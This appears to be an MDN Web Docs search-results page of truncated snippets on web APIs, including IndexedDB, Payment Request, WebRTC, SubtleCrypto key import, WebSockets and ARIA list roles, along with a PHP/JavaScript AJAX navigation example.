this is an example of an ajax website composed only of three pages (first_page.php, second_page.php and third_page.php). to see how it works, please create the following files (or git clone https://github.com/giabao/mdn-ajax-nav-example.git ): note: for fully integrating the <form> elements within this mechanism, please take a look at the paragraph submitting forms and uploading files. first_page.php: <?php $page_title = "first page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = true; ob_start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; echo "<title>" . $page_title . "</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>t...
...; const ajaxrequest = new (function () { function closereq () { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortreq () { if (!bisloading) { return; } oreq.abort(); closereq(); } function ajaxerror () { alert("unknown error."); } function ajaxload () { var vmsg, nstatus = this.status; switch (nstatus) { case 200: vmsg = json.parse(this.responsetext); document.title = opageinfo.title = vmsg.page; document.getelementbyid(stargetid).innerhtml = vmsg.content; if (bupdateurl) { history.pushstate(opageinfo, opageinfo.title, opageinfo.url); ...
...parse(this.responsetext); document.title = opageinfo.title = vmsg.page; document.getelementbyid(stargetid).innerhtml = vmsg.content; if (bupdateurl) { history.pushstate(opageinfo, opageinfo.title, opageinfo.url); bupdateurl = false; } break; default: vmsg = nstatus + ": " + (ohttpstatus[nstatus] || "unknown"); switch (math.floor(nstatus / 100)) { /* case 1: // informational 1xx console.log("information code " + vmsg); break; case 2: // successful 2xx con...
...And 2 more matches
IDBObjectStore.name - Web APIs
exceptions there are a several exceptions which can occur when you attempt to change an object store's name. ...
...n, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
IDBVersionChangeEvent.newVersion - Web APIs
rror cases. these events are fired via the custom idbversionchangeevent interface. for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes of // implementations you want to test. ...
...e, you should include the prefixes of // implementations you want to test. window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
...ndow.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
...And 2 more matches
Basic concepts - Web APIs
ersistent internet connectivity to work (for example, mail clients, to-do lists, and notepads). about this document this introduction discusses essential concepts and terminology in indexeddb. it gives you the big picture and explains key concepts. you'll find the following useful: for an overview of the design and structure of indexeddb, see big concepts. to learn more about indexeddb terms, see the definitions section. for a detailed tutorial on how to use the api, see using indexeddb. for the reference documentation on the indexeddb api, refer back to the main indexeddb api article and its subpages, which document the types of objects used by indexeddb. for more information on how the browser handles storing your data in the background, read browser storage limits and eviction ...
...a table that stores a collection of rows of data and columns of named types of data. indexeddb, on the other hand, requires you to create an object store for a type of data and simply persist javascript objects to that store. each object store can have a collection of indexes that makes it efficient to query and iterate across. if you are not familiar with object-oriented database management systems, read the wikipedia article on object database. indexeddb does not use structured query language (sql). it uses queries on an index that produces a cursor, which you use to iterate across the result set. if you are not familiar with nosql systems, read the wikipedia article on nosql. indexeddb adheres to a same-origin policy. an origin is the domain, application layer protocol, and po...
...p://www.example.com:8080/dir/ (different port) or https://www.example.com/dir/ (different protocol), because they have different origins. note: third party window content (e.g. <iframe> content) can access the indexeddb store for the origin it is embedded into, unless the browser is set to never accept third party cookies (see bug 1147821.) definitions this section defines and explains terms used in the indexeddb api. database database a repository of information, typically comprising one or more object stores. each database must have the following: name. this identifies the database within a specific origin and stays constant throughout its lifetime. the name can be any string value (including an empty string). current version. when a database is first created, its ve...
...And 2 more matches
KeyboardEvent - Web APIs
include the digits on the numeric keypad, the keypad's enter key, and the decimal point on the keypad. properties this interface also inherits properties of its parents, uievent and event. keyboardevent.altkey read only returns a boolean that is true if the alt ( option or ⌥ on os x) key was active when the key event was generated. keyboardevent.code read only returns a domstring with the code value of the physical key represented by the event. warning: this ignores the user's keyboard layout, so that if the user presses the key at the "y" position in a qwerty keyboard layout (near the middle of the row above the home row), this will always return "keyy", even if the user has a qwertz keyboard (which would mean the user expects a "z" and all the other properties wou...
...cate a "z") or a dvorak keyboard layout (where the user would expect an "f"). keyboardevent.ctrlkey read only returns a boolean that is true if the ctrl key was active when the key event was generated. keyboardevent.iscomposing read only returns a boolean that is true if the event is fired between after compositionstart and before compositionend. keyboardevent.key read only returns a domstring representing the key value of the key represented by the event. keyboardevent.locale read only returns a domstring representing a locale string indicating the locale the keyboard is configured for. this may be the empty string if the browser or device doesn't know the keyboard's locale. note: this does not describe the locale of the data being entered. a user may be using one keyboard la...
...() initializes a keyboardevent object. this was implemented only by firefox, and is no longer supported even there; instead, you should use the keyboardevent() constructor. keyboardevent.initkeyboardevent() initializes a keyboardevent object. this is now deprecated. you should instead use the keyboardevent() constructor. obsolete properties keyboardevent.char read only returns a domstring representing the character value of the key. if the key corresponds to a printable character, this value is a non-empty unicode string containing that character. if the key doesn't have a printable representation, this is an empty string. note: if the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character. keyboa...
...And 2 more matches
MediaDeviceInfo.deviceId - Web APIs
candidate recommendation initial definition. ...
... candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
... candidate recommendation initial definition. ...
...And 2 more matches
Transcoding assets for Media Source Extensions - Web APIs
n't have any media to experiment with, you can grab the trailer to big buck bunny [0] here. big buck bunny is licensed under the creative commons attribution 3.0 license. throughout this tutorial, you'll see the filename trailer_1080p.mov which is the download. [0] (c) copyright 2008, blender foundation / www.bigbuckbunny.org / https://peach.blender.org/about/ tools required when working with mse, the following tools are a must have: ffmpeg — a command-line utility for transcoding your media into the required formats. you can download a version for your system at the download ffmpeg page. extract the executable from the archive file and add it's location to your path statement. osx users can also use homebrew to install ffmpeg. bento4 — a set of command-line utilities for getting...
...o the next step. sample media should be placed in the bento4 utils directory and worked here. note: the prebuilt ffmpeg does not include libfdk_aac due to licensing reasons. bento4 uses this by default, so you need to compile ffmpeg if necessary. if you don't need it, add --audio-codec=aac to the mp4-dash-encode.py command line. container and codec support as specified in section 1.1 of the mse spec: goals, mse is designed not to require support for any particular media format or codec. while this is true on paper, browser support varies for specific container/codec combinations. to check if the browser supports a particular container, you can pass a string of the mime type to the mediasource.istypesupported method: mediasource.istypesupported('audio/mp3'); // false mediasource.isty...
...o and video tracks over without performing any transcoding, which is relatively faster than having to transcode. $ ffmpeg -i trailer_1080p.mov -c:v copy -c:a copy bunny.mp4 $ ls bunny.mp4 trailer_1080p.mov checking fragmentation in order to properly stream mp4, we need the asset to be an iso bmf format mp4. without proper fragmentation, any given mp4 file is not guaranteed to work with mse. this means that metadata within the container is spread out and not lumped together. to check whether an mp4 file is a proper mp4 stream, you can again use the mp4info utility to list the atoms of an mp4. note: the fragmented version is slightly larger than the original, due to additional metadata spread throughout the file. this is usually a file size increase of 1 percent or less. fragm...
...And 2 more matches
Capabilities, constraints, and settings - Web APIs
anced constraints are created by adding an advanced property to the constraint set; this property's value is an array of additional constraint sets which are considered optional. there are few if any use cases for this feature, and there is some interest in removing it from the specification, so it will not be discussed here. if you wish to learn more, see section 11 of the media capture and streams specification, past example 2. checking capabilities you can call mediastreamtrack.getcapabilities() to get a list of all of the supported capabilities and the values or ranges of values which each one accepts on the current platform and user agent. this function returns a mediatrackcapabilities object which lists each constrainable property supported by the browser and a value or range of valu...
...on camera configuration, but don't insist on any property being of special importance. the browser should do its best to match these settings but will settle for anything it considers a close match. then we initialize the variables which will hold the mediatrackconstraints objects for the video and audio tracks, as well as the variables which will hold references to the video and audio tracks themselves, to null. let videoconstraints = null; let audioconstraints = null; let audiotrack = null; let videotrack = null; and we get references to all of the elements we'll need to access. let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); let supportedconstraintlist = document.getelementbyid("supportedconstraints"); let videoconstrainteditor =...
...pi/mediatracksupportedconstraints/" .concat(constraint) + "' target='_blank'>" + constraint + "</a></code>"; supportedconstraintlist.appendchild(elem); } } error handling we also have some simple error handling code; handleerror() is called to handle promises which fail, and the log() function appends the error message to a special logging <div> box under the video. ...
...And 2 more matches
NotificationEvent - Web APIs
ugh serviceworkerglobalscope. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 37safari ? webview android no support nochrome android full support 42firefox android full support 44opera android full support 37safari ios ? ...
... 37safari ? webview android no support nochrome android full support 42firefox android full support 44opera android full support 37safari ios ? ...
...And 2 more matches
PaymentRequest.PaymentRequest() - Web APIs
ent methods the merchant web site accepts and any associated payment method specific data. each item in the array contains the following fields: supportedmethods for early implementations of the spec, this was a sequence of identifiers for payment methods that the merchant website accepts. starting with more recent browsers, this parameter is more generic than credit cards, it is a single domstring, and the meaning of the data parameter changes with the supportedmethods. for example, the basic card payment method is selected by specifying the string basic-card here. data a json-serializable object that provides optional information that might be needed by the supported payment methods. this has to conform to the type expected by the payment handler indicated by supportedmethods. fo...
...s. for basic credit card services, this structure should match the basiccardrequest dictionary. details provides information about the requested transaction. this parameter contains the following fields: total the total amount of the payment request. id optional a free-form identifier for this payment request. if a value is not supplied, the browser will construct one. displayitems an array of optional line items for the payment request that the user agent may display, such as product details, tax, and shipping. shippingoptions the shipping options the user may choose from. if this sequence is blank, it indicates the merchant cannot ship to the current shipping address. the default shipping option may be indicated in this sequence. modifiers modifiers for specific...
... shipping options the user may choose from. if this sequence is blank, it indicates the merchant cannot ship to the current shipping address. the default shipping option may be indicated in this sequence. modifiers modifiers for specific payment methods; for example, adjusting the total amount based on the payment method. this parameter contains the following fields: additionaldisplayitems an array of items to be appended to the details.displayitems property. this property is commonly used to add a discount or surcharge line item indicating the different amount in details.modifiers.total. data a json-serializable object that provides optional information that might be needed by the supported payment methods. this has to conform to the structure defined in the basiccardrequ...
...And 2 more matches
Using the Payment Request API - Web APIs
this article is a guide to making use of the payment request api, with examples and suggested best practices. the basics of making a payment this section details the basics of using the payment request api to make a payment. note: the code snippets from this section are from our feature detect support demo. creating a new payment request object a payment request always starts with the creation of a new paymentrequest object — using the paymentrequest() constructor. ...
...this returns a promise that fulfills ...
...handling payment }); }) } }) paymentrequest.abort() can be used to abort the payment request if required. detecting availability of the payment request api you can effectively detect support for the payment request api by checking if the user's browser supports paymentrequest, i.e. if (window.paymentrequest). in the following snippet, a merchant page performs this check, and if it returns true updates the checkout button to use paymentrequest instead of legacy web forms. const checkoutbutton = document.getelementbyid('checkout-button'); if (window.paymentrequest) { let request = new paymentrequest(buildsupportedpaymentmethodnames(), buildshoppingcartdetails()); checkoutbutton.addeventlistener('click', function() { request.show().then(fu...
...And 2 more matches
RTCConfiguration - Web APIs
n't included in the dictionary, "balanced" is assumed. certificates optional an array of objects of type rtccertificate which are used by the connection for authentication. if this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance. although only one certificate is used by a given connection, providing certificates for multiple algorithms may improve the odds of successfully connecting in some circumstances. see using certificates below for additional information. this configuration option cannot be changed after it is first specified; once the certificates have been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer value which speci...
...ction to local peers. icetransportpolicy optional the current ice transport policy; this must be one of the values from the rtcicetransportpolicy enumeration. if the policy isn't specified, all is assumed by default, allowing all candidates to be considered. a value of relay limits the candidates to those relayed through another server, such as a stun or turn server. peeridentity optional a domstring which specifies the target peer identity for the rtcpeerconnection. if this value is set (it defaults to null), the rtcpeerconnection will not connect to a remote peer unless it can successfully authenticate with the given name. rtcpmuxpolicy optional the rtcp mux policy to use when gathering ice candidates, in order to support non-multiplexed rtcp. the value must be one of those from the ...
...order to support non-multiplexed rtcp. the value must be one of those from the rtcrtcpmuxpolicy enum. the default is "require". ...
...And 2 more matches
RTCIceCandidate.usernameFragment - Web APIs
g a new candidate with new rtcicecandidate(). note that 24 bits of the username fragment are required to be randomized by the browser. see randomization below for details. if you instead call rtcicecandidate() with a string parameter containing the candidate m-line text, the value of usernamefragment is extracted from the m-line. syntax var ufrag = rtcicecandidate.usernamefragment; value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server. the string may be up to 256 characters long, and has no default value. randomization at least 24 bits of the text in the ufrag are required to ...
...ht take a user-defined string and append three 8-bit random bytes to the end. or perhaps every character is entirely random. usage notes ice uses the usernamefragment and password to ensure message integrity. this avoids crosstalk among multiple ongoing ice sessions, but, more importantly, helps secure ice transactions (and all of webrtc by extension) against attacks that might try to inject themselves into an ice exchange. note: there is no api to obtain the ice password, for what should be fairly obvious security reasons. the usernamefragment and password both change every time an ice restart occurs. example although the webrtc infrastructure will filter out obsolete candidates for you after an ice restart, you can do it yourself if you're trying to absolutely minimize the number o...
... when the web app receives a message from the signaling server that includes a candidate to be added to the rtcpeerconnection, you can (and generally should) simply call addicecandidate(). there's not typically a need to manually worry about filtering the candidates. however, let's imagine that we do need to minimize traffic. ...
...And 2 more matches
ReadableStream.tee() - Web APIs
t to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, you’d need two copies to do this. to cancel the stream you then need to cancel both resulting branches. teeing a stream will generally lock it for the duration, preventing other readers from locking it. ...
...see simple tee example for the full code. ...
...= readablestream.tee(); parameters none. return value an array containing two readablestream instances. exceptions typeerror the source stream is not a readablestream. examples in the following simple example, a previously-created stream is teed, then both resulting streams (contained in two members of a generated array) are passed to a function that reads the data out of the two streams and prints each stream's chunks sequentially to a different part of the ui. see simple tee example for the full code. function teestream() { const teedoff = stream.tee(); fetchstream(teedoff[0], list2); fetchstream(teedoff[1], list3); } function fetchstream(stream, list) { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when ...
...And 2 more matches
SVGAnimatedString - Web APIs
the svganimatedstring interface represents string attributes which can be animated from each svg declaration. you need to create svg attribute before doing anything else, everything should be declared inside this. properties svganimatedstring.animval read only this is a domstring representing the animation value. if the given attribute or property is being animated it contains the current animated value of the attribute or property. if the given attribute or property is not currently being animated, it contains the same value as baseval. svganimatedstring.baseval this is a domstring representing the base value. the base value of the given attribute before applying any animations. setter throws domexception. methods the svganimatedstring interface do not provide any specific met...
...didate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessamsung internet android no support noanimvalchrome full support yesedge full support 12firefox full support yesie no support noopera full support ...
...And 2 more matches
SVGCircleElement - Web APIs
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera full support yessafari ...
... opera full support yessafari ...
...And 2 more matches
StorageEvent - Web APIs
the key attribute is null when the change is caused by the storage clear() method. read only. newval...
...the newvalue is null when...
...the newvalue is null when the change has been...
...And 2 more matches
SubtleCrypto.digest() - Web APIs
raphic digests should exhibit collision-resistance, meaning that it's hard to come up with two different inputs that have the same digest value. it takes as its arguments an identifier for the digest algorithm to use and the data to digest. it returns a promise which will be fulfilled with the digest. ...
...they have a variety of applications in cryptography. sha-1 this algorithm is specified in fips 180-4, section 6.1, and produces an output 160 bits long. ...
...they have a variety of applications in cryptography. sha-1 this algorithm is specified in fips 180-4, section 6.1, and produces an output 160 bits long. ...
...And 2 more matches
SubtleCrypto.importKey() - Web APIs
s #8 format. spki: subjectpublickeyinfo format. jwk: json web key format. keydata is an arraybuffer, a typedarray, a dataview, or a jsonwebkey object containing the key in the given format. algorithm is a dictionary object defining the type of key to import and providing extra algorithm-specific parameters. for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedimportparams object. for ecdsa or ecdh: pass an eckeyimportparams object. for hmac: pass an hmacimportparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass the string identifying the algorithm or an object of the form { "name": algorithm }, where algorithm is the name of the algorithm. for pbkdf2 : pass the string pbkdf2. extractable is a boolean indicating whether it will be possibl...
...n.1 structures into a binary form. you are most likely to encounter this object in pem format. pem format is a way to encode binary data in ascii. it consists of a header and a footer, and in between, the base64-encoded binary data. a pem-encoded privatekeyinfo looks like this: -----begin private key----- mig2ageambagbyqgsm49agegbsubbaaibigemigbagebbdau9bd0jxdff5ov380z 9vieun2w5kjdz3hbuadencxliamsoquktffaou71eldn0tshzaniaarmuhcee/cp xmjgc1roj0d0k6vluqta+jvcwigxciaukoethcngzdkcrd4pkxdbvbcijdzkvo+l ml2fikoovzh/8yetkmjumb804g6omjuc9vvojcrv0ydasmykkjmjblg= -----end private key----- to get this into a format you can give to importkey() you need to do two things: base64-decode the part between header and footer, using window.atob(). convert the resulting string into an arraybuffer. see th...
...ey you can use json web key format to import or export rsa or elliptic curve public or private keys, as well as aes and hmac secret keys. json web key format is defined in rfc 7517. it describes a way to represent public, private, and secret keys as json objects. a json web key looks something like this (this is an ec private key): { "crv": "p-384", "d": "wouctu7nw4e8_7n5c1-xbjb4xqsb_lizhymsy8mggxuny6q8ncoh9xsiviwlffk_", "ext": true, "key_ops": ["sign"], "kty": "ec", "x": "szrrxmyi8vwfjg1dpunbfcc9jzvjzefh7ulki1ukxaltd7rgwrcffxqygpcwu6aq", "y": "hhuag3ovdzer0uuqnd4pxhqtxp5idgdyhjhl-wlkjngjqaw0rngy5v29-av-ysew" }; examples note: you can try the working examples on github. raw import this example imports an aes key from an arraybuffer containing the bytes to use. see the...
...And 2 more matches
WebGLRenderingContext.getUniformLocation() - Web APIs
value to the specified matrix, possibly with transposition. the value is represented as a sequence of glfloat values or as a float32array. the uniform itself is declared in the shader program using glsl. syntax webgluniformlocation = webglrenderingcontext.getuniformlocation(program, name); parameters program the webglprogram in which to locate the specified uniform variable. name a domstring specifying the name of the uniform variable whose location is to be returned. the name can't have any whitespace in it, and you can't use this function to get the location of any uniforms starting with the reserved string "gl_", since those are internal to the webgl layer. the possible values correspond to the uniform names returned by getactiveuniform; see that function for specifics on ...
...e.g. ...
...e.g. the location returned for arrayuniform is equivalent to the one for arrayuniform[0]. the uniform name indexed with an integer. e.g. ...
...And 2 more matches
Raining rectangles - Web APIs
], rainingrect.position[1], rainingrect.size[0] , rainingrect.size[1]); gl.clear(gl.color_buffer_bit); rainingrect.position[1] -= rainingrect.velocity; if (rainingrect.position[1] < 0) { misses += 1; missesdisplay.innerhtml = misses; rainingrect = new rectangle(); } // we are using settimeout for animation. so we reschedule // the timeout to call drawanimation again in 17ms. // otherwise we won't get any animation. timer = settimeout(drawanimation, 17); } function playerclick (evt) { // we need to transform the position of the click event from // window coordinates to relative position inside the canvas. // in addition we need to remember that vertical position in // webgl increases from bottom to top, unlike in the browser // window. var position = [...
...gle(); } } function rectangle () { // keeping a reference to the new rectangle object, rather // than using the confusing this keyword. var rect = this; // we get three random numbers and use them for new rectangle // size and position. for each we use a different number, // because we want horizontal size, vertical size and // position to be determined independently. ...
...ce to the new rectangle object, rather // than using the confusing this keyword. var rect = this; // we get three random numbers and use them for new rectangle // size and position. for each we use a different number, // because we want horizontal size, vertical size and // position to be determined independently. ...
...And 2 more matches
Writing WebSocket servers - Web APIs
ming socket connections using a standard tcp socket. depending on your platform, this may be handled for you automatically. for example, let's assume that your server is listening on example.com, port 8000, and your socket server responds to get requests at example.com/chat. warning: the server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have problems with firewalls and/or proxies. browsers generally require a secure connection for websockets, although they may offer an exception for local devices. the handshake is the "web" in websockets. it's the bridge from http to websockets. in the handshake, details of the connection are negotiated, and either party can back out before completion if the terms are unfavorable. the server must be careful...
... is a continuation frame; this means the server should concatenate the frame's payload to the last frame it received from that client. here is a rough sketch, in which a server reacts to a client sending text messages. the first message is sent in a single frame, while the second message is sent across three frames. ...
...the last frame it received from that client. here is a rough sketch, in which a server reacts to a client sending text messages. the first message is sent in a single frame, while the second message is sent across three frames. fin and opcode details are shown only for the client: client: fin=1, opcode=0x1, msg="hello" server: (process complete message immediately) hi. ...
...And 2 more matches
Web Audio API - Web APIs
bs by their inputs and outputs. they typically start with one or more sources. sources provide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second. these could be either computed mathematically (such as oscillatornode), or they can be recordings from sound/video files (like audiobuffersourcenode and mediaelementaudiosourcenode) and audio streams (mediastreamaudiosourcenode). in fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave. outputs of these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. a common modification is multiplying the samples by...
...listener model, it allows control of the panning model and deals with distance-induced attenuation induced by a moving source (or moving listener). you can read about the theory of the web audio api in a lot more detail in our article basic concepts behind web audio api. web audio api target audience the web audio api can seem intimidating to those that aren't familiar with audio or music terms, and as it incorporates a great deal of functionality it can prove difficult to get started if you are a developer. it can be used to simply incorporate audio into your website or application, by providing atmosphere like futurelibrary.no, or auditory feedback on forms. however, it can also be used to create advanced interactive instruments. with that in mind, it is suitable for both developers ...
... there's also a basic concepts behind web audio api article, to help you understand the way digital audio works, specifically in the realm of the api. this also includes a good introduction to some of the concepts the api is built upon. ...
...And 2 more matches
Using the Web Speech API - Web APIs
this article provides a simple introduction to both areas, along with demos. ...
... quickly: the lines are separated by semi-colons, just like in javascript. the first line — #jsgf v1.0; — states the format and version used. this always needs to be included first. the second line indicates a type of term that we want to recognise. public declares that it is a public rule, the string in angle brackets defines the recognised name for this term (color), and the list of items that follow the equals sign are the alternative values that will be recognised and accepted as appropriate values for the term. note how each is separated by a pipe character. you can have as many terms defined as you want on separate lines following the above structure, and include fairly complex grammar definitions. for this basic demo, we are just keeping things simple. plugging the gramma...
...eech recogntion instance to control the recognition for our application. this is done using the speechrecognition() constructor. we also create a new speech grammar list to contain our grammar, using the speechgrammarlist() constructor. ...
...And 2 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
ut. it may be helpful to be aware that setinterval() and settimeout() share the same pool of ids, and that clearinterval() and cleartimeout() can technically be used interchangeably. for clarity, however, you should try to always match them to avoid confusion when maintaining your code. note: the delay argument is converted to a signed 32-bit integer. this effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the idl. examples example 1: basic syntax the following example demonstrates setinterval()'s basic syntax. var intervalid = window.setinterval(mycallback, 500, 'parameter 1', 'parameter 2'); function mycallback(a, b) { // your code here // parameters are purely optional. console.log(a); console.log(b); } example 2: alternating two colors th...
... = 0; nchild < this.parts.length; nchild++) { onode.removechild(this.parts[nchild]); this.parts[nchild] = new sheet(this.parts[nchild]); } } var nintervid, ocurrent = null, btyping = false, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* uncomment the following line if you have previously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = se...
...non diam. morbi auctor ornare orci, non euismod felis gravida nec. curabitur elementum nisi a eros rutrum nec blandit diam placerat. aenean tincidunt risus ut nisi consectetur cursus. ut vitae quam elit. donec dignissim est in quam tempor consequat. aliquam aliquam diam non felis convallis suscipit. nulla facilisi. donec lacus risus, dignissim et fringilla et, egestas vel eros. duis malesuada accumsan dui, at fringilla mauris bibstartum quis. cras adipiscing ultricies fermentum. praesent bibstartum condimentum feugiat.</p> <p>nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. proin mattis lobortis lobortis. quisque accumsan faucibus erat, vel varius tortor ultricies ac. lorem ipsum dolor sit amet, consectetur adipiscing elit. sed ne...
...And 2 more matches
Using the aria-invalid attribute - Accessibility
hat it is not necessary to validate the fields immediately on blur; the application could wait until the form is submitted (though this is not necessarily recommended). ...
...y simple validation function, which only checks for the presence of a particular character (in the real world, validation will likely be more sophisticated): function checkvalidity(aid, asearchterm, amsg){ var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); updatealert(amsg); } else { elem.setattribute("aria-invalid", "false"); updatealert(); } } the snippet below shows the alert functions, which add (or remove) the error message: function updatealert(msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (msg) { var newalert = document.createelemen...
...ch add (or remove) the error message: function updatealert(msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (msg) { var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var content = document.createtextnode(msg); newalert.appendchild(content); document.body.appendchild(newalert); } } note that the alert has the aria role attribute set to "alert." working examples: alert role example (uses the aria-invalid attribute) notes when aria-invalid is used in conjunction with the aria-required attribute, aria-invalid should not be set to true before the form is submitted - only in r...
...And 2 more matches
ARIA: List role - Accessibility
the aria list role can be used to identify a list of items. it is normally used in conjunction with the listitem role, which is used to identify a list item contained inside the list. <section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively. a list must have one or more listitem children, or, alternatively, have one or more groups as children, with each group having one or more listitems as children. ...
...ainer with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively. a list must have one or more listitem children, or, alternatively, have one or more groups as children, with each group having one or more listitems as children. there are no hard and fast rules about which elements you should use to markup the list and list items, but you should make sure that the list items make sense in the context of a list, e.g. a shopping list, recipe steps, driving directions. warning: if at all possible in your work, you should use the appropriate semantic html elements to mark up a list and its listitems — <ul>/<ol> and <li>. see best practices for a full example. associated wai-aria roles, states, and properties listit...
... keyboard interactions none. required javascript features none. ...
...And 2 more matches
ARIA: Listitem role - Accessibility
the aria listitem role can be used to identify an item inside a list of items. it is normally used in conjunction with the list role, which is used to identify a list container. <section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively. there are no hard and fast rules about which elements you should use to markup the list and list items, but you should make sure that the list items make sense in the context of a list, e.g. a shopping list, recipe steps, driving directions. warning: if at all possible...
... containers respectively. there are no hard and fast rules about which elements you should use to markup the list and list items, but you should make sure that the list items make sense in the context of a list, e.g. a shopping list, recipe steps, driving directions. warning: if at all possible in your work, you should use the appropriate semantic html elements to mark up a list and its listitems — <ul>/<ol> and <li>. see best practices for a full example. associated wai-aria roles, states, and properties list a list of items. elements with role list must have one or more elements with the role listitem as children, a one or more elements with the role of group that have one or more elements with the listitem role as children. group a collection of related objects, limited...
... keyboard interactions none. required javascript features none. ...
...And 2 more matches
ARIA: listbox role - Accessibility
the listbox role is used for lists from which a user may select one or more items which are static and, unlike html <select> elements, may contain images. description the listbox role is used to identify an element that creates a list from which a user may select one or more static items, similar to the html <select> element. unlike <select>, a listbox can contain images. each child of a listbox should have a role of option. it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free. elements with the role ...
...ml elements provide this functionality for you for free. elements with the role listbox have an implicit aria-orientation value of vertical. when a list is tabbed to, the first item in the list will be selected if nothing else already is. up/down arrows navigate the list, and pressing shift + up/down arrows will move and extend the selection. ...
...else already is. up/down arrows navigate the list, and pressing shift + up/down arrows will move and extend the selection. typing one or more letters will navigate the list items (same letter goes to each item starting with that, different letters go to the first item starting with that entire string). if the current item has an associated context menu, shift+f10 will launch that menu. if list items are checkable, space can be used to toggle checkboxes. for selectable list items, space toggles their selection, shift+space can be used to select contiguous items, ctrl+arrow moves without selecting, and ctrl+space can be used to select non-contiguous items. it is recommended that a checkbox, link or other method be used to select all items, and ctrl+a could be used as a shortcut key for this. ...
...And 2 more matches
@supports - CSS: Cascading Style Sheets
Web › CSS › @supports
property name followed by a value, separated by a colon). the declaration must be surrounded by parentheses. the following example returns true if the browser's transform-origin property considers 5% 5% valid: @supports (transform-origin: 5% 5%) {} function syntax the second basic supports condition is a supports function, the syntax for these is supported by all browsers, but the functions themselves are still being standardized. selector() tests if the browser supports the tested selector syntax. the following example returns true if the browser supports the child combinator: @supports selector(a > b) {} the not operator the not operator can precede any expression to create a new expression, resulting in the negation of the original one. the following example returns true if the ...
...ting for the support of a given css property @supports (animation-name: test) { … /* css applied when animations are supported without a prefix */ @keyframes { /* other at-rules can be nested inside */ … } } testing for the support of a given css property or a prefixed version @supports ((perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or (-ms-perspective: 10px) or (-o-perspective: 10px)) { … /* css applied when 3d transforms, prefixed or not, are supported */ } testing for the non-support of a specific css property @supports not ((text-align-last: justify) or (-moz-text-align-last: justify)) { … /* css to provide fallback alternative for text-align-last: justify */ } testing for the support of custom properties @supports ...
...on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
